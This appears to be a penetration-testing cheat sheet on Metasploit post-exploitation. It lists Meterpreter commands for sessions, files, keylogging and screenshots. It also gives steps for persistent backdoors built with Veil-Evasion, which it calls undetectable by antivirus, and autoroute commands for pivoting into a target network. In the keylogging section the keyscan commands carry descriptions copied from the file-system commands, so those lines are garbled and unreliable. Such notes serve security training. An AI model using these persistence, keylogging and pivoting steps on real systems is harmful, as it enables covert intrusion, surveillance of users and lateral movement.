Post Exploitation

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Meterpreter Basics

> help – shows help
> background – backgrounds current session.
> sessions –l – lists all sessions.
> sessions –i – interact with a certain session.
> sysinfo – displays system info.
> ipconfig – displays info about interfaces.
> getuid – shows current user.

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File System Commands

> pwd – shows current working directory
> ls – lists files in the current working directory.
> cd [location] – changes working directory to [location].
> cat [file] – prints the content of [file] on screen.
> download [file] – downloads [file].
> upload [file] – uploads [file].
> execute –f [file] – executes [file].

PS: for more commands run > help

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Maintaining Access

Using a veil-evasion

- Rev_http_service
- Rev_tcp_service
- Use it instead of a normal backdoor.
- Or upload and execute from meterpreter
- Does not always work

Using persistence module

- > run persistence -h
- Detectable by antivirus programs

Using metasploit + veil-evasion → More robust + undetectable by Antivirus

- > use exploit/windows/local/persistence
- > set session [session id]
- > set exe::custom [backdoor location]
- > exploit

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Key Logging

Log all mouse/keyboard events

> keyscan_start – shows current working directory
> keyscan_dump – lists files in the current working directory.
> keyscan_stop – changes working directory to [location].

PS: can also take a screenshot of the target computer > screenshot

Post Exploitation - Pivoting

- Use the hacked device as a pivot.
- Try to gain access to other devices in the network

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Pivoting using Autoroute

- Set up a route between hacker and hacked device.
- Gives hacker access to devices on the network.
- Use metasploit exploits auxiliaries ...etc

1. Use it — > use post/windows/manage/autoroute
2. Set subnet of target network. — > set subnet [subnet]
3. Set session id. — > set session [id]
4. exploit. — > exploit